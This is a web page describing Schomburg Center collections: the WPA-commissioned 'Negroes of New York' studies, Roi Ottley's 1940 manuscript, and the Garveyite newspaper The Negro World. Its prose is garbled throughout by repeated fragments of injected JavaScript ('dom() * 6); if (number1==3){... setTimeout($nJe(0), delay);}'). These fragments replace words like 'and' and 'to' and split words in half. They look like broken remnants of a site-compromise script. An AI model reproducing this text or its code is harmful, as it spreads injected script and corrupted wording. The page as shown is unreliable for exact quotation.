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Negroes of New York

“Negroes of New York” is a survey in 41 studies of Black New Yorkers from 1626 dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the 1930s, commissioned by the Works Progress Administration between 1936 dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and 1941. Among the many subjects covered by a variety of writers are biographical sketches, studies relating dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the slave trade, slavery, culture, economics, sports, theater, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and migrations. Among the authors are novelists Ralph Ellison, poet Claude McKay, playwright Abram Hill, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and children’s books author Ellen Tarry.

Also included is the 1940 manuscript of “The Negro in New York: An Informal Social Hisdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory” edited by journalist dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and author Roi Ottley, which was originally prepared by the Federal Writers’ Program of New York City.

The collection is held at the Schomburg Center in the Manuscripts, Archives dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Rare Books Division.

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This collection is held in the Schomburg Center’s Art dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Artifacts Division.

The Negro World

The Negro World—subtitled “A Newspaper Devoted Solely dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the Interest of the Negro Race”—was the organ of Marcus Garvey’s Universal Negro Improvement Association headquartered in Harlem.

The weekly, started in 1918, was distributed in the Americas, Africa dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Europe. Reflecting the readership’s diversity some sections were published in French dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Spanish in the early 1920s. Colonial powers banned the newspaper in some parts of Africa dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the Caribbean.

At its height in the 1920s, The Negro World’s circulation—often through the cldom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andestine activities of seamen—was said dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to have reached 200,000 copies. Edidom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and contribudom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors were well-known scholars, activists, journalists dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and artists such as hisdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torian Carter G. Woodson, bibliophile dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and activist Arthur Schomburg, former slave dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and journalist T. Thomas Fortune, author Zora Neale Hursdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton, journalist Amy Jacques Garvey, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and political activists Hubert H. Harrison dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and W. A. Domingo.

The Negro World ceased publication in 1933.